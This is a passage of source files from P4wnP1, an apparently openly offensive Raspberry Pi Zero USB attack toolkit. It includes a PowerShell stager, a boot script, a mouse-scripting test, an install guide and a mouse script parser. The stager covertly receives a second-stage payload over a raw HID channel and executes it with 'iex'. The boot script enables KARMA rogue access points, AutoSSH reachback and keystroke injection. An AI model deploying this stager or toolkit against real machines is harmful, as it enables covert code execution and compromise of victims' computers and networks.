60 | # Note: again Reflection has to be used to access the constructor of FileStream 61 | $fa=[IO.FileAccess]::ReadWrite 62 | $a=$h, $fa, [Int32]64, [Boolean]1 63 | $c=[IO.FileStream].GetConstructors()[14] 64 | return $c.Invoke($a) 65 | } 66 | 67 | function send_data($file, $source, $dest, $data, $received) 68 | { 69 | 70 | $i=0 71 | $bytes = New-Object Byte[] (65) 72 | $bytes[$i++] = [byte] 0 73 | $bytes[$i++] = [byte] $source 74 | $bytes[$i++] = [byte] $dest 75 | $bytes[$i++] = [byte] $data.Length 76 | $bytes[$i++] = [byte] $received 77 | 78 | $data.CopyTo($bytes, $i) 79 | 80 | $devfile.Write($bytes, 0, $bytes.Length) 81 | 82 | 83 | } 84 | 85 | 86 | function read_data($file) 87 | { 88 | $r = New-Object Byte[] (65) 89 | $cr = $devfile.Read($r,0,65) 90 | 91 | $i=0 92 | $report_id = $r[$i++] 93 | $src = $r[$i++] 94 | $dst = $r[$i++] 95 | $snd = $r[$i++] 96 | $rcv = $r[$i++] 97 | 98 | 99 | $msg = New-Object Byte[] ($snd) 100 | [Array]::Copy($r, $i, $msg, 0, $snd) 101 | return $src, $dst, $snd, $rcv, $msg 102 | } 103 | 104 | function GetDevicePath($USB_VID, $USB_PID) 105 | { 106 | $HIDGuid="{4d1e55b2-f16f-11cf-88cb-001111000030}" 107 | foreach ($wmidev in gwmi Win32_USBControllerDevice |%{[wmi]($_.Dependent)} ) { 108 | #[System.Console]::WriteLine($wmidev.PNPClass) 109 | if ($wmidev.DeviceID -match ("$USB_VID" + '&PID_' + "$USB_PID") -and $wmidev.DeviceID -match ('HID') -and -not $wmidev.Service) { 110 | $devpath = "\\?\" + $wmidev.PNPDeviceID.Replace('\','#') + "#" + $HIDGuid 111 | } 112 | } 113 | $devpath 114 | } 115 | 116 | ####### 117 | # Init RAW HID device 118 | ######### 119 | 120 | # Use Reflection to create [MaMe82]::CreateFile from kernel32.dll 121 | $mmcl = ReflectCreateFileMethod 122 | 123 | $path= GetDevicePath $USB_VID $USB_PID 124 | # create FileStream to device 125 | $devfile = CreateFileStreamFromDevicePath $mmcl $path 126 | $count = -1 127 | $stage2 = "" 128 | 129 | $empty = New-Object Byte[] (0) 130 | try 131 | { 132 | while ($devfile.SafeFileHandle -ne $null) 133 | { 134 | 135 | send_data $devfile 0 0 $empty 0 136 | $packet = read_data $devfile 137 | if ($packet[0] -ne 0) 138 | { 139 | break # src not 0, no heartbeat (carying stage2) 140 | } 141 | if ($packet[1] -ne 0) 142 | { 143 | break # dst not 0, no heartbeat (carying stage2) 144 | } 145 | $utf8 = [Text.Encoding]::UTF8.GetString($packet[4]) 146 | if ($utf8.StartsWith("end_heartbeat") -and ($count -gt 0)) 147 | { 148 | break 149 | } 150 | if ($utf8.StartsWith("begin_heartbeat")) 151 | { 152 | $count = 0 153 | [Console]::WriteLine("Start receiving stage2") 154 | } 155 | elseif ($count -ge 0) 156 | { 157 | # belongs to stream, assemble 158 | $stage2 += $utf8 159 | $count += 1 160 | [Console]::Write(".") 161 | } 162 | } 163 | [Console]::WriteLine("stage2 reassembled") 164 | iex $stage2 165 | } 166 | finally 167 | { 168 | # end main thread 169 | $devfile.Close() 170 | $devfile.Dispose() 171 | } -------------------------------------------------------------------------------- /boot/boot_P4wnP1: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # This file is part of P4wnP1. 4 | # 5 | # Copyright (c) 2017, Marcus Mengs. 6 | # 7 | # P4wnP1 is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # P4wnP1 is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with P4wnP1. If not, see . 19 | 20 | # 21 | # P4wnP1 startup script 22 | # Author: Marcus Mengs (MaMe82) 23 | # 24 | # Notes: 25 | # - work in progress (contains possible errors and typos) 26 | # - if the device isn't detected changing the USB port (USB 2.0 prefered) or plug out and in 27 | # again could help 28 | # 29 | # ToDo: 30 | # - add manual system date adjusment, to not mess up logs due to missing NTP (store datetime of last boot) 31 | # - add shutdown capability to script, to allow file system syncing before power loss (could be done from 32 | # payload by calling "sync && sudo halt") 33 | 34 | 35 | # find working dir of script 36 | wdir=$( cd $(dirname $BASH_SOURCE[0]) && cd .. && pwd) 37 | 38 | echo =================================== P4wnP1 startup =========================================== 39 | echo "P4wnP1: Init LED control..." 40 | source $wdir/boot/init_led.sh 41 | 42 | echo "P4wnP1: Loading config ..." 43 | source $wdir/boot/init_config.sh 44 | 45 | # Create bash script which could be altered from /home/pi/.profile 46 | touch /tmp/profile.sh 47 | echo "#!/bin/bash" >> /tmp/profile.sh 48 | echo "wdir=$wdir" >> /tmp/profile.sh 49 | echo "lang=$lang" >> /tmp/profile.sh 50 | echo $(declare -p ledtrigger | cut -d" " -f3) >> /tmp/profile.sh 51 | declare -f led_blink >> /tmp/profile.sh 52 | declare -f onLogin >> /tmp/profile.sh 53 | chown pi:pi /tmp/profile.sh 54 | 55 | echo "P4wnP1: Initializing USB gadget ..." 56 | source $wdir/boot/init_usb.sh 57 | init_usb 58 | 59 | echo "P4wnP1: Checking for WiFi capabilities ..." 60 | source $wdir/boot/init_wifi.sh 61 | check_wifi 62 | if $WIFI; then 63 | echo "P4wnP1: Seems WiFi module is present !" 64 | iw reg set $WIFI_REG 65 | 66 | source $wdir/boot/init_wifi_nexmon.sh 67 | if $WIFI_NEXMON; then 68 | # swap firmware and driver 69 | WIFI_activate_nexmon 70 | 71 | fi 72 | 73 | 74 | # start WIFI client 75 | if $WIFI_CLIENT; then 76 | # try to connect to existing WiFi according to the config 77 | sleep 1 # pause to make new reg domain accessible in scan 78 | if start_wifi_client; then 79 | WIFI_CLIENT_CONNECTION_SUCCESS=true 80 | else 81 | echo "P4wnP1: Join present WiFi didn't succeed, failing over to access point mode" 82 | WIFI_CLIENT_CONNECTION_SUCCESS=false 83 | fi 84 | fi 85 | 86 | # start ACCESS POINT if needed 87 | # - if WiFi client mode is disabled and ACCESPOINT mode is enabled 88 | # - if WiFi client mode is enabled, but failed and ACCESPOINT mode is enabled 89 | if $WIFI_ACCESSPOINT && ( ! $WIFI_CLIENT_CONNECTION_SUCCESS || ! $WIFI_CLIENT); then 90 | start_wifi_accesspoint 91 | 92 | # check if acces point is up and trigger callback 93 | # Warning!!! This uses the SSID and isn't tested against hidden SSID configurations 94 | ( 95 | AP_DOWN=true 96 | while $AP_DOWN; do 97 | iw dev | grep -q -E "ssid $WIFI_ACCESSPOINT_NAME"; res=$? 98 | if [ $res == 0 ]; then 99 | AP_DOWN=false 100 | 101 | if $WIFI_ACCESSPOINT_KARMA && $WIFI_NEXMON; then 102 | WIFI_enable_KARMA 103 | fi 104 | if $WIFI_ACCESSPOINT_KARMA_LOUD && $WIFI_NEXMON; then 105 | WIFI_enable_KARMA_LOUD 106 | fi 107 | 108 | declare -f onAccessPointUp > /dev/null && onAccessPointUp # run only once 109 | fi 110 | done 111 | )& 112 | fi 113 | fi 114 | 115 | detect_usb_hostmode # creates OTG_MODE=true if P4wnP1 is in OTG mode 116 | 117 | # early out if P4wnP1 is used in OTG mode 118 | if $OTG_MODE; then 119 | echo "As P4wnP1 is detected to run in Host (interactive) mode, we abort device setup now!" 120 | exit 121 | else 122 | echo "P4wnP1: ... USB gadget initialized" 123 | fi 124 | 125 | # check if ethernet over USB should be used 126 | if $USB_RNDIS || $USB_ECM; then 127 | USB_ETHERNET=true 128 | fi 129 | 130 | # change hostname to make P4wnP1 resolveable on "name.local" 131 | if $WIFI || $USB_ETHERNET; then 132 | hostname="MAME82-P4WNP1" 133 | 134 | hostname $hostname 135 | echo $hostname > /etc/hostname 136 | 137 | # add to /etc/hosts 138 | if ! grep -q -E "^127\.0\.0\.1 $hostname\$" /etc/hosts; then 139 | echo "127.0.0.1 $hostname" >> /etc/hosts 140 | fi 141 | fi 142 | 143 | 144 | 145 | # if ethernet over USB is in use, detect active interface and start DHCP (all as background job) 146 | if $USB_ETHERNET; then 147 | echo "P4wnP1: Initializing Ethernet over USB..." 148 | source $wdir/boot/init_usb_ethernet.sh 149 | ( 150 | detect_active_interface 151 | 152 | if [ "$active_interface" != "none" ]; then 153 | create_DHCP_config 154 | dnsmasq -C /tmp/dnsmasq_usb_eth.conf 155 | 156 | # callback onNetworkUp() of payload script 157 | declare -f onNetworkUp > /dev/null && onNetworkUp 158 | 159 | # wait for client to receive DHCP lease 160 | target_ip="" 161 | while [ "$target_ip" == "" ]; do 162 | target_ip=$(cat /tmp/dnsmasq.leases | cut -d" " -f3) 163 | target_name=$(cat /tmp/dnsmasq.leases | awk '{print $4}') 164 | sleep 0.2 165 | done 166 | 167 | # callback onNetworkGotIP() of payload script 168 | declare -f onTargetGotIP > /dev/null && onTargetGotIP 169 | 170 | fi 171 | )& 172 | fi 173 | 174 | # take care of AutoSSH reachback 175 | source $wdir/boot/init_autossh.sh 176 | start_autossh # start_autossh takes care of checking AUTOSSH_ENABLED 177 | 178 | if $USE_HID_MOUSE; then 179 | # import mouse functions 180 | source $wdir/boot/init_hid_mouse.sh 181 | declare -f outmouse >> /tmp/profile.sh 182 | chown pi:pi /tmp/profile.sh 183 | fi 184 | 185 | if $USE_HID; then 186 | # import keyboard functions 187 | source $wdir/boot/init_hid_keyboard.sh 188 | 189 | declare -f outhid >> /tmp/profile.sh 190 | declare -f duckhid >> /tmp/profile.sh 191 | chown pi:pi /tmp/profile.sh 192 | 193 | # if HID keyboard should be tested for readyness, do it (triggers "onKeyboardUp" callback of payload) 194 | if $HID_KEYBOARD_TEST; then 195 | # detect_HID_keyboard& 196 | 197 | ( 198 | echo "Waiting for HID keyboard to be usable..." 199 | # blocking read of LED status 200 | python -c "with open('/dev/hidg0','rb') as f: print ord(f.read(1))" 201 | # fire 'onKeyboardUp' after read has succeeded 202 | declare -f onKeyboardUp > /dev/null && onKeyboardUp 203 | )& 204 | fi 205 | fi 206 | 207 | 208 | 209 | # trigger callback for on boot finished 210 | #( 211 | # declare -f onBootFinished > /dev/null && onBootFinished # run only once 212 | #)& 213 | -------------------------------------------------------------------------------- /MouseScripts/test.mouse: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | ############################################### 19 | # Test file for P4wnP1 MouseScript # 20 | # (test against paint with fullscreen canvas) # 21 | ############################################### 22 | 23 | # Test 1 (relative mouse movement) 24 | # ================================ 25 | # - uses the 'MOVE' command to position the mice 26 | # - the command accepts relative movement values between -127 and 127 for each axis 27 | # - the values represent how many mouseunits the pointer should been moved 28 | # - how many pixels the pointer moves on screen depends on system settings (DPI, mouse acceleration, screeen resolution) 29 | # - This method introduces an error, caused by "mouse acceleration", which could be shown with the following MouseScript 30 | # command sequence: 31 | # MOVE 0 -100 # Move the pointer 100 units down on y axis 32 | # MOVE 100 0 # Move the pointer 100 units on positive x axis 33 | # MOVE -100 100 # Move the pointer 100 units on negative x axis and 100 units down on y axis 34 | # - Although this should en up in the starting point, the final mouse coordinate has an offset, due to acceleration 35 | # on diagonal movement (longer way in same time) 36 | # - the advantage of using MOVE is that it is fast (in its limited range) and works out quite well for horizontal/vertical moves 37 | # 38 | # Test 2 (relative mouse movement, stepped) 39 | # ========================================= 40 | # - this test draws tries to redraw the picture from Test 1 using the 'MOVESTEPPED' command 41 | # - this command again is for relative movement, but not bound to the limit of -127 to 127 42 | # - the move direction is subdivide into multiple steps, where each step has a minimum range 43 | # of one mouse unit on either the x or the y axis 44 | # - advantage: returning to the origin with high precission is possible 45 | # - disadvantage: much slower, as many status updates are needed to move to the final coordinate 46 | # 47 | # Test 3 (absolute movement) 48 | # ========================== 49 | # - this Test uses the MOVETO command, which utilizes absolute coordinates 50 | # - MOVETO uses float values between 0.0 and 1.0 on both, the x and the y axis 51 | # - positioning could be done accuratly, precission is at 15 bit (float is internally represented by values between 52 | # 0x0000 and 0x7FFF), which should be enough for todays screen resolutions 53 | # - as coordinates are given in float with equal distribution on both axes, one has to manually account 54 | # for current aspect radio and screen resolution (coordinate translation) to hit a screen pixel precisely 55 | # - the test doesn't account on aspect radio and tries to draw the picture a third time 56 | # - advantage: accurate , pixel perfect mouse positioning (if coordinates are calculated correctly) 57 | # - disadvantage: Absolute positioning doe work on Windows 10, but doesn't work on Android (a digitizer has to be 58 | # emulated for this). It isn't tested against *nix OS'es, but X11 is known to have problems with absolute mice. 59 | # - on most OS'es expcept Windows, this test shouldn't produce a mouse movement. If it does, absolute 60 | # positioning is supported 61 | # 62 | # 63 | # Additional commands 64 | # =================== 65 | # CLICK [btn1] [btn2] [btn3] 66 | # - clicks the respective button one time ("1" for click, "0" for don't click) 67 | # - Example for left click: 68 | # CLICK 1 0 0 69 | # - Example for right click: 70 | # CLICK 0 1 0 71 | # 72 | # DOUBLECLICK [btn1] [btn2] [btn3] 73 | # - like CLICK, but double clicks 74 | # 75 | # BUTTONS [btn1] [btn2] [btn3] 76 | # - this command is used, if a button state should be kept during movement (drag while button down) 77 | # - Example for relative movement with button pressed: 78 | # BUTTONS 0 0 0 # release all buttons 79 | # MOVETO 0.5 0.5 # move to screen center (if absolut movement supported) 80 | # BUTTONS 1 0 0 # press down left button 81 | # MOVESTEPPED 100 0 # move 100 steps right while button pressed 82 | # MOVESTEPPED 0 -100 # move 100 steps up while button still pressed 83 | # BUTTONS 0 0 0 # releas all buttons 84 | # 85 | # DELAY [delay in milliseconds] 86 | # - delays script execution 87 | 88 | 89 | # The following tests should be ran with paint opened in fullscreen (FullScreen canvas, to allow drawing) 90 | 91 | # Initial 5 seconds delay to allow switching target window if needed 92 | DELAY 5000 93 | 94 | ################# 95 | # Test 1 96 | ################# 97 | 98 | # Paint a house using relative positioning, should show inaccuracy due to mouse acceleration 99 | MOVETO 0.6 0.5 # center, offset right 100 | CLICK 1 0 0 # click into paint window to activate 101 | 102 | MOVE -50 50 # 103 | BUTTONS 1 0 0 # press left button (don't release) 104 | MOVE 0 -100 105 | DELAY 500 106 | 107 | MOVE 100 0 108 | DELAY 500 109 | 110 | MOVE -100 100 111 | DELAY 500 112 | 113 | MOVE 100 0 114 | DELAY 500 115 | 116 | MOVE -100 -100 117 | DELAY 500 118 | 119 | MOVE 50 -50 120 | DELAY 500 121 | 122 | MOVE 50 50 123 | DELAY 500 124 | 125 | MOVE 0 100 126 | DELAY 500 127 | 128 | BUTTONS 0 0 0 # release all buttons 129 | 130 | 131 | ################# 132 | # Test 2 133 | ################# 134 | 135 | DELAY 2000 136 | 137 | # Paint a house using relative positioning, but devide the move into 138 | # very small mouse moves, to overcome positioning issues due to mouse acceleration 139 | 140 | MOVETO 0.4 0.5 # center, offset left 141 | 142 | MOVESTEPPED -250 250 # 143 | BUTTONS 1 0 0 # press left button (don't release) 144 | MOVESTEPPED 0 -500 145 | DELAY 500 146 | 147 | MOVESTEPPED 500 0 148 | DELAY 500 149 | 150 | MOVESTEPPED -500 500 151 | DELAY 500 152 | 153 | MOVESTEPPED 500 0 154 | DELAY 500 155 | 156 | MOVESTEPPED -500 -500 157 | DELAY 500 158 | 159 | MOVESTEPPED 250 -250 160 | DELAY 500 161 | 162 | MOVESTEPPED 250 250 163 | DELAY 500 164 | 165 | MOVESTEPPED 0 500 166 | DELAY 500 167 | 168 | BUTTONS 0 0 0 # release all buttons 169 | 170 | 171 | 172 | ################# 173 | # Test 3 174 | ################# 175 | 176 | 177 | # Paint the house using absolute positioning, doesn't need steps, but coordinate 178 | # conversion to account for aspect ratio 179 | 180 | 181 | DELAY 2000 182 | 183 | MOVETO 0.25 0.55 184 | BUTTONS 1 0 0 # press left button (don't release) 185 | 186 | MOVETO 0.25 0.45 #1 187 | DELAY 500 188 | 189 | MOVETO 0.35 0.45 #2 190 | DELAY 500 191 | 192 | MOVETO 0.25 0.55 #3 193 | DELAY 500 194 | 195 | MOVETO 0.35 0.55 # 4 196 | DELAY 500 197 | 198 | MOVETO 0.25 0.45 # 5 199 | DELAY 500 200 | 201 | MOVETO 0.3 0.4 # 6 202 | DELAY 500 203 | 204 | MOVETO 0.35 0.45 #7 205 | DELAY 500 206 | 207 | MOVETO 0.35 0.55 #8 208 | DELAY 500 209 | 210 | BUTTONS 0 0 0 # release all buttons 211 | 212 | -------------------------------------------------------------------------------- /INSTALL.md: -------------------------------------------------------------------------------- 1 | # P4wnP1 Install Guide 2 | 3 | Don't waste your time following complicated install instructions: A ready-to-go image of latest P4wnP1 version could be found on the release page: 4 | https://github.com/mame82/P4wnP1/releases (seems some of you missed it). 5 | 6 | ## Step 1 - Install Raspbian Lite 7 | 1. Download: 8 | [Jessie Lite image](http://downloads.raspberrypi.org/raspbian_lite/images/raspbian_lite-2017-07-05/) 9 | or 10 | [Stretch Lite image](https://www.raspberrypi.org/downloads/raspbian/) (recomended) 11 | 2. Follow the guide [here](https://www.raspberrypi.org/documentation/installation/installing-images/README.md) 12 | 13 | ## Step 2 - Connect the Pi (Zero) to Internet 14 | 15 | Several methods are existing to do this 16 | 17 | - Method 1: Attaching an USB hub along with a Network Interface (NIC) and use it to connect to the Internet 18 | - Method 2: Put the SD card into another Raspberry Pi with built-in NIC and connect to the Internet (for example a Pi 3) 19 | - Method 3: This is the preferred one, as no additional hardware should be needed. Configure the Raspberry Pi **Zero** to act as USB Ethernet adapter and connect back to Internet through your host (Internet Connection Sharing on Windows, iptables MASQUERADING rule on Linux). 20 | - Method 4: How I do it currently (see `"Getting headless Pi Zero online"`) 21 | 22 | A guide on how to do method 3 could be found [here](http://www.circuitbasics.com/raspberry-pi-zero-ethernet-gadget/). Two things should be noted on method 3: 23 | 24 | 1. Most Raspberry Pi Zero USB gadget configurations interfere with the configuration of P4wnP1 (which for example doesn't use "g_ether"). The setup script of P4wnP1 tries to fix interfering configurations. If you encouter problems, please try another method to connect to Internet and revert the changes done to the bare RASPBIAN JESSIE/STRETCH image. 25 | 2. Unlike described in most tutorials (including the linked one), the SSH server on current Raspbian isn't running by default. You have to boot up the Pi into interactive mode and run `sudo update-rc.d ssh enable` (avoid manual changes to `/etc/rc2.d/`, most times this messes things up). 26 | 27 | ## Getting headless Pi Zero Online (my way, needs a micro USB cable + SD card reader + KALI Linux) 28 | 29 | I'm doing this on Kali Linux, most other distros should be fine, too (I'm working as root user on Kali, so depending on the distribution you need to add `sudo` or change too root, in order to run privileged commands). I don't use Windows 10 anymore, because the default USB over Ethernet driver gets detected as "USB Serial device", which is hard to overcome. 30 | 1. Prepare a fresh Raspbian Lite SD card 31 | 2. Mount the SD card to your KALI box **before** booting the Pi to first time. 32 | 3. On the boot partition edit the file `config.txt` and append the line `dtoverlay=dwc2` to enable USB gadget overlay. 33 | 4. On boot partition change insert `modules-load=dwc2,g_ether` into `cmdline.txt` between "rootwait" and "quiet". This enables the Ethernet USB gadget kernel module on boot. 34 | 5. Create an empty file called `ssh` in the same folder where `cmdline.txt` and `config.txt` reside, in order to enable SSH on boot. 35 | 6. The SD card is prepared. Install it in your Pi and connect a micro USB capable to the inner USB port of the Pi (the one marked with "USB" not with "PWR in". 36 | 7. Connect the Pi to your Kali Box and wait till it finished booting. 37 | 38 | So this should bring up a new network interface on your box, which in my case is called `usb0` and has to be enabled with `ifconfig usb0 up`. The problem is, that the Pi runs a DHCP client on títs internal interface, waiting to receive a DHCP lease with an IP to use. As this lease will never be sent (as long as you haven't configured a DHCP server on usb0). We don't know the IP of the Pi. You could attach an HDMI monitor and the Pi will print out the IP used. But as promised, we do it in my way and that is headless. 39 | Now that the Pi isn't able too receive a DHCP lease, it chooses its own IP with a process called APIPA. I don't want to explain everything here, but one part of APIPA is important: Before the Pi chooses its IP, it has to check if any other host is using it already. This is done via ARP request. So if we sniff on our `usb0` interface, shortly after bringing it up, we should see an ARP request. To fecth this request, I personally use tshark, but every other sniffer should be fine, as long as you bring it up fast enough. So instead of running only `ifconfig usb0 up` we do the following. 40 | `ifconfig usb0 up && thshark -i usb0` 41 | 42 | 8. Watch the tshark output, till you see an ARP request with an IP (who has 169.254.241.194 in my case) 43 | 9. Stop tshark with `CTRL + C` and grab a copy of the IP. 44 | 10. Configure your `usb0` interface to reside in the same subnet, I choose `169.254.241.1` and thus run the following command: 45 | `ifconfig usb0 169.254.241.1`. 46 | 47 | Important: If the interface `usb0` isn't configured to manual setup, it is likely that a DHCP client is running. Trying to retreive a DHCP lease would wipe the IP configuration done in step 10 (ending up with Internet connection loss at some later point). The quick and dirty way to circumvent this on Kali, is to stop the network manager service with `service network-manager stop` 48 | 49 | 11. test if you could reach out to the Pi with `ping 169.254.241.194` 50 | 12. If everything goes fine, you should now be able to login with `ssh pi@169.254.241.194` 51 | 52 | Two more things left. You have to configure your Kali box to allow outbound masquerading on your internet interface (eth0 in my case), like this: 53 | 54 | 13. `iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE` to enable masquerading (don't forget to replace eth0 with your internet interface) 55 | 14. `echo 1 > /proc/sys/net/ipv4/ip_forward` to enable kernel based routing on the Kali machine 56 | 57 | Now KALI should be ready to root out traffic on its internet interface, but the Pi doesn't need to know who is the rooter, so we tell him. From the SSH session on the Pi run: 58 | 59 | 15. `route add -net default gw 169.254.241.1` (here the address you configured on your usb interface is needed 60 | 16. At this point raspbian should be able to reach the internet, test this with something like `ping 8.8.8.8` 61 | 62 | The last thing to do is to tell the Pi, how to resolve DNS names, with: 63 | 64 | 17. `echo nameserver 8.8.8.8 > /etc/resolv.conf` where 8.8.8.8 is a google DNS which you could change according to your needs 65 | 18. The Pi should be online and able to resolve DNS names, test with `ping www.google.de` 66 | 67 | If you made it till here, your're ready to go on with P4wnP1 installation. 68 | 69 | ## Login to Pi Zero online 70 | 71 | Now you should be ready to login to the Internet connected **Raspberry Pi Zero** either directly or via SSH. Only the Pi Zero supports USB device emulation at time of this writing, so it doesn't make any sence to try this with another model. 72 | P4wnP1 setup is meant to be run by the user `pi` so use this user, the default password is `raspberry` which of course could be changed. 73 | 74 | ## Install P4wnP1 75 | 76 | Enter the following commands to install P4wnP1: 77 | 78 | sudo apt-get -y install git 79 | cd /home/pi 80 | git clone --recursive https://github.com/mame82/P4wnP1 81 | cd P4wnP1 82 | ./install.sh 83 | 84 | The setup process will take some time (installing packages, compiling pycrypto), so go and have a coffee. 85 | If something goes wrong you should receive some error message. 86 | 87 | ## Run P4wnP1 88 | 89 | If nothing went wrong you could shutdown the Pi and reconnect it to a Windows Box. 90 | To see the output, you could either connect a HDMI device or login via SSH (use PuTTY on Windows) with `pi@172.16.0.1`. 91 | -------------------------------------------------------------------------------- /hidtools/mouse/MouseScriptParser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | 4 | # This file is part of P4wnP1. 5 | # 6 | # Copyright (c) 2017, Marcus Mengs. 7 | # 8 | # P4wnP1 is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # P4wnP1 is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with P4wnP1. If not, see . 20 | 21 | from hid_mouse import hid_mouse 22 | import time 23 | import sys 24 | 25 | class MouseScriptParser: 26 | def __init__(self): 27 | # stores valid commands + minimum argument count 28 | self.valid_commands = {"BUTTONS": 3, "MOVE": 2, "MOVESTEPS": 3, "MOVESTEPPED": 2, "MOVETO": 2, "DELAY": 1, "CLICK": 3, "DOUBLECLICK": 3, "UPDATEDELAYED": 1, "REPEAT": 1, "UPDATE": 0} 29 | devfile = "" 30 | try: 31 | with open("/tmp/device_hid_mouse", "rb") as f: 32 | devfile = f.readline().replace("\n", "") 33 | except IOError: 34 | print "/tmp/device_hid_mouse missing, mouse seems to be disabled!" 35 | sys.exit() 36 | self.mouse = hid_mouse(False, devfile) 37 | 38 | def extract_command(self, line): 39 | # try to split into command + args 40 | 41 | # print "line: " + line 42 | line = line.strip() # remove trailing and leading spaces 43 | line = line.replace("\t", " ") # replace tabs by single space 44 | first_word = line.split(" ", 1)[0] 45 | if first_word.upper() in self.valid_commands: 46 | # remove linebreaks 47 | line = line.replace("\r\n","").replace("\n","") 48 | # remove comments 49 | line = line.split("#")[0] 50 | line = line.split("//")[0] 51 | # trim down spaces 52 | line = line.strip() 53 | 54 | # split command from args 55 | argv = [] 56 | parts = line.split(" ") 57 | 58 | # print "Parts {0}".format(parts) 59 | 60 | # store command uppercase 61 | cmd = parts[0].strip().upper() 62 | # if command includes args, trim down each arg (avoid interpreting multi-space as arguments) 63 | for part in parts[1:]: 64 | part = part.strip() 65 | if len(part) > 0: 66 | argv.append(part) 67 | 68 | return cmd, argv 69 | else: 70 | return None 71 | 72 | 73 | def dispatch_command(self, cmd, argv): 74 | method_name = "DO_" + cmd 75 | try: 76 | method = getattr(self, method_name) 77 | except AttributeError: 78 | print "Error: Missing implementation for {0}, commans '{1}' ignored".format(method_name, cmd) 79 | return 80 | method(argv) 81 | 82 | 83 | def DO_BUTTONS(self, argv): 84 | #print "BUTTONS method {0}".format(argv) 85 | if len(argv) < 3: 86 | #print "BUTTON command takes 3 values" 87 | return 88 | 89 | if argv[0] == "0": 90 | self.mouse.button1 = False 91 | else: 92 | self.mouse.button1 = True 93 | 94 | if argv[1] == "0": 95 | self.mouse.button2 = False 96 | else: 97 | self.mouse.button2 = True 98 | 99 | if argv[2] == "0": 100 | self.mouse.button3 = False 101 | else: 102 | self.mouse.button3 = True 103 | 104 | self._sendMouseReport() 105 | 106 | def _sendMouseReport(self): 107 | self.mouse.fire_report() 108 | 109 | def DO_MOVE(self, argv): 110 | # ToDo: Command could be extended to support 3rd relative axis for mousewheel (implementation in hid_mouse.py + change of HID descriptor) 111 | #print "MOVE method {0}".format(argv) 112 | x = int(float(argv[0])) # be sure to convert float to int 113 | x = min(127, max(-127, x)) 114 | y = int(float(argv[1])) # be sure to convert float to int 115 | y = min(127, max(-127, y)) 116 | 117 | self.mouse.x_rel = x 118 | self.mouse.y_rel = y 119 | 120 | self._sendMouseReport() 121 | 122 | # reset relative position, to avoid sending it again when a report for button press is generated 123 | self.mouse.x_rel = 0 124 | self.mouse.y_rel = 0 125 | 126 | def DO_MOVESTEPPED(self, argv): 127 | x = int(float(argv[0])) # be sure to convert float to int 128 | y = int(float(argv[1])) # be sure to convert float to int 129 | steps = max(abs(x), abs(y)) 130 | 131 | argv.append(str(steps)) 132 | self.DO_MOVESTEPS(argv) 133 | 134 | def DO_MOVESTEPS(self, argv): 135 | # ToDo: Command could be extended to support 3rd relative axis for mousewheel (implementation in hid_mouse.py + change of HID descriptor) 136 | #print "MOVESTEPS method {0}".format(argv) 137 | x = int(float(argv[0])) # be sure to convert float to int 138 | #x = min(127, max(-127, x)) 139 | y = int(float(argv[1])) # be sure to convert float to int 140 | #y = min(127, max(-127, y)) 141 | 142 | steps = int(float(argv[2])) 143 | if steps < 1: 144 | steps = 1 145 | 146 | dx = float(x) / float(steps) 147 | dy = float(y) / float(steps) 148 | 149 | cur_x = 0 150 | cur_y = 0 151 | 152 | for cur_step in range(1, steps+1): 153 | desired_x = int(round(dx * cur_step)) 154 | desired_y = int(round(dy * cur_step)) 155 | step_x = desired_x - cur_x 156 | step_y = desired_y - cur_y 157 | self.mouse.x_rel = step_x 158 | self.mouse.y_rel = step_y 159 | self._sendMouseReport() 160 | cur_x += step_x 161 | cur_y += step_y 162 | 163 | # reset relative position, to avoid sending it again when a report for button press is generated 164 | self.mouse.x_rel = 0 165 | self.mouse.y_rel = 0 166 | 167 | def DO_MOVETO(self, argv): 168 | #print "MOVETO method {0}".format(argv) 169 | x = float(argv[0]) 170 | y = float(argv[1]) 171 | 172 | self.mouse.x_abs = x 173 | self.mouse.y_abs = y 174 | 175 | self._sendMouseReport() 176 | 177 | def DO_DELAY(self, argv): 178 | #print "DELAY method {0}".format(argv) 179 | time.sleep(float(argv[0]) / 1000.0) 180 | 181 | def DO_UPDATE(self, argv): 182 | #print "UPDATE method {0}".format(argv) 183 | self._sendMouseReport() 184 | 185 | def DO_CLICK(self, argv): 186 | #print "CLICK method {0}".format(argv) 187 | # clear button state 188 | self.DO_BUTTONS(['0', '0', '0']) # more correct: only button which have to be clicked should be released here 189 | #self._sendMouseReport() 190 | # press buttons 191 | self.DO_BUTTONS(argv) 192 | #self._sendMouseReport() 193 | 194 | # NOTE: Seems there's no delay needed between pressing and releasing, otherwise it has to be placed here 195 | 196 | # releas buttons again 197 | self.DO_BUTTONS(['0', '0', '0']) # more correct: only button which have been clicked should be released here 198 | #self._sendMouseReport() 199 | 200 | 201 | def DO_DOUBLECLICK(self, argv): 202 | #print "DOUBLECLICK method {0}".format(argv) 203 | self.DO_CLICK(argv) 204 | # NOTE: Seems there's no delay needed between two CLICKS, otherwise it has to be placed here 205 | self.DO_CLICK(argv) 206 | 207 | 208 | 